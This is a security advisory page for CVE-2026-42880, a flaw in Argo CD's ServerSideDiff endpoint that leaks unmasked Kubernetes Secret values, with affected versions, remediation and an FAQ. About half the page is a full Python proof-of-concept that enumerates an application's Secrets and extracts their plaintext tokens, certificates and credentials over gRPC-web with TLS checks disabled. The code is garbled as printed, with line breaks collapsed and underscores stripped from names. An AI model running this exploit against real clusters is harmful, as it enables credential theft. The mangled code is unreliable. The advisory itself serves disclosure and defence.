CVE-2026-42880: ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

Published May 7, 2026
·
Updated

Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.

Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:

// server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), })

A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:

if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) }

The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.

When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:

kubectl apply --server-side --dry-run=server --field-manager=argocd-controller For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.

PoC #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC

Usage: python3 poc.py <host> <token> <app> <project>

Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """

import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict

def encodevarint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out)

def encodestr(field, val): tag = (field << 3) | 2 raw = val.encode() return encodevarint(tag) + encodevarint(len(raw)) + raw

def encodebytes(field, val): tag = (field << 3) | 2 return encodevarint(tag) + encodevarint(len(val)) + val

def encodebool(field, val): tag = (field << 3) | 0 return encodevarint(tag) + encodevarint(1 if val else 0)

def decodevarint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos

def decodefields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decodevarint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decodevarint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decodevarint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields)

-- grpc-web framing --

def grpcframe(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload

def decodegrpcframes(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames

-- http helpers --

def makeconn(host): ctx = ssl.createdefaultcontext() ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)

def restget(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None

def grpcpost(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpcframe(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decodegrpcframes(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response"

-- main --

def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1)

host, token, appname, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = makeconn(host)

# step 1: list managed resources for the app, find secrets print("[] Fetching managed resources for %s/%s ..." % (project, appname)) data, err = restget(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(appname), token) if err: print("[-] Failed: %s" % err); sys.exit(1)

secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live))

if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets))

# step 2: call ServerSideDiff for each secret totalextracted = 0 for sname, sns, stype, livejson in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype}

# copy required annotations from live state for SA tokens if livejson and livejson != "null": try: liveannots = json.loads(livejson).get("metadata", {}).get("annotations", {}) k8sannots = {k: v for k, v in liveannots.items() if k.startswith("kubernetes.io/")} if k8sannots: target["metadata"]["annotations"] = k8sannots except Exception: pass

# for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}

# encode the grpc request lr = b"" lr += encodestr(2, "Secret") # kind lr += encodestr(3, sns) # namespace lr += encodestr(4, sname) # name if livejson: lr += encodestr(6, livejson) # liveState lr += encodebool(12, True) # modified

query = encodestr(1, appname) query += encodestr(3, project) query += encodebytes(4, lr) query += encodestr(5, json.dumps(target))

# reconnect for each call (simple, no pool needed for poc) try: conn = makeconn(host) respdata, err = grpcpost(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue

# parse response respfields = decodefields(respdata) for itembytes in respfields.get(1, []): if not isinstance(itembytes, bytes): continue ifields = decodefields(itembytes)

# field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secretdata = obj.get("data", {}) if not secretdata: continue

# check for real (non-masked) values realkeys = {} for k, v in secretdata.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) realkeys[k] = text

if realkeys: totalextracted += 1 print("\n [] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(realkeys), len(secretdata))) for k in sorted(realkeys): v = realkeys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v))

print("\n[] Done. %d secrets with real values extracted." % totalextracted)

if name == "main": main()

Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

Other sources

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

MITRE

Affected Software

4 affected componentsFixes available
go/github.com/argoproj/argo-cd/v3>=3.3.0<3.3.9
3.3.9
go/github.com/argoproj/argo-cd/v3>=3.2.0<3.2.11
3.2.11
argoproj Argo CD>=3.2.0<3.2.11
argoproj Argo CD>=3.3.0<3.3.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/argoproj/argo-cd/v3 to a version that resolves this vulnerability.

    Fixed in 3.3.9
  2. Upgrade

    Upgrade go/github.com/argoproj/argo-cd/v3 to a version that resolves this vulnerability.

    Fixed in 3.2.11
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.2.11
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.3.9
  5. Configuration

    For any Argo CD Application where argocd.argoproj.io/compare-options is set to IncludeMutationWebhook=true, change it to not include IncludeMutationWebhook=true. This prevents the ServerSideDiff defense (removeWebhookMutation()/mutation webhook filtering) from being skipped, which is the condition that allows unmasked Secret values to flow into the response.

    Argo CD Application annotation argocd.argoproj.io/compare-options = IncludeMutationWebhook=true (remove/avoid this value)

Event History

May 7, 2026
Advisory Published
via GitHub·01:56 AM
Data Sourced
via GitHub·01:56 AM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·10:20 PM
Data Sourced
via MITRE·10:20 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·11:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42880?

CVE-2026-42880 is considered a critical vulnerability due to its ability to allow unauthorized access to sensitive plaintext Kubernetes Secret data.

2

How do I fix CVE-2026-42880?

To fix CVE-2026-42880, upgrade to Argo CD version 3.3.9 or 3.2.11 or later to address the missing authorization and data-masking vulnerabilities.

3

Who is affected by CVE-2026-42880?

CVE-2026-42880 affects users of Argo CD versions between 3.2.0 to 3.2.11 and 3.3.0 to 3.3.9.

4

What is the impact of CVE-2026-42880?

The impact of CVE-2026-42880 allows attackers with read-only access to extract sensitive data from etcd, leading to potential data breaches.

5

Is CVE-2026-42880 part of a larger vulnerability trend?

CVE-2026-42880 highlights ongoing issues with authorization gaps in Kubernetes-related applications, indicating a need for stricter access controls.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203